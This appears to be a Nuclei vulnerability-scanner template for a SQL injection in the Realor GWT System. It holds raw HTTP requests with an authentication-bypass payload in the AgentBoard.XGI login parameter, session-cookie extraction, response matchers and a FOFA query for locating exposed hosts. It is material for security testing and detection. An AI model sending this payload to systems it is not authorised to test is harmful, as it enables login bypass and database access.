nuclei-templates/http/vulnerabilities/realor/realor-gwt-system-sqli.yaml

41 lines
1.3 KiB
YAML
Raw Normal View History

id: realor-gwt-system-sqli
info:
name: Realor GWT System SQL injection
author: SleepingBag945
severity: high
description: |
Realor GWT System system improperly handles the security of data passed by users, resulting in a SQL injection vulnerability. Remote and unauthorized attackers can use this vulnerability to obtain sensitive information in the database, and can further write webshell backdoors. Access, the attacker can execute arbitrary malicious code on the target server and gain system privileges.
reference:
- https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/realor-gwt-system-sql-injection.yaml
metadata:
verified: "true"
2023-10-14 11:27:55 +00:00
max-request: 2
fofa-query: app="REALOR-天翼应用虚拟化系统"
tags: realor,sqli
http:
- raw:
- |
GET /AgentBoard.XGI?user='||'1&cmd=UserLogin HTTP/1.1
Host: {{Hostname}}
- |
GET /Board.XGI HTTP/1.1
Cookie: PHPSESSID={{cookie}}
Host: {{Hostname}}
extractors:
- type: regex
name: cookie
internal: true
part: header
group: 1
regex:
- 'PHPSESSID=(.*?);'
matchers:
- type: dsl
dsl:
- 'contains(body_1,"CustomInfo") && contains(header_1,"PHPSESSID")'
- 'contains(body_2,"src=\"custom/")'
condition: and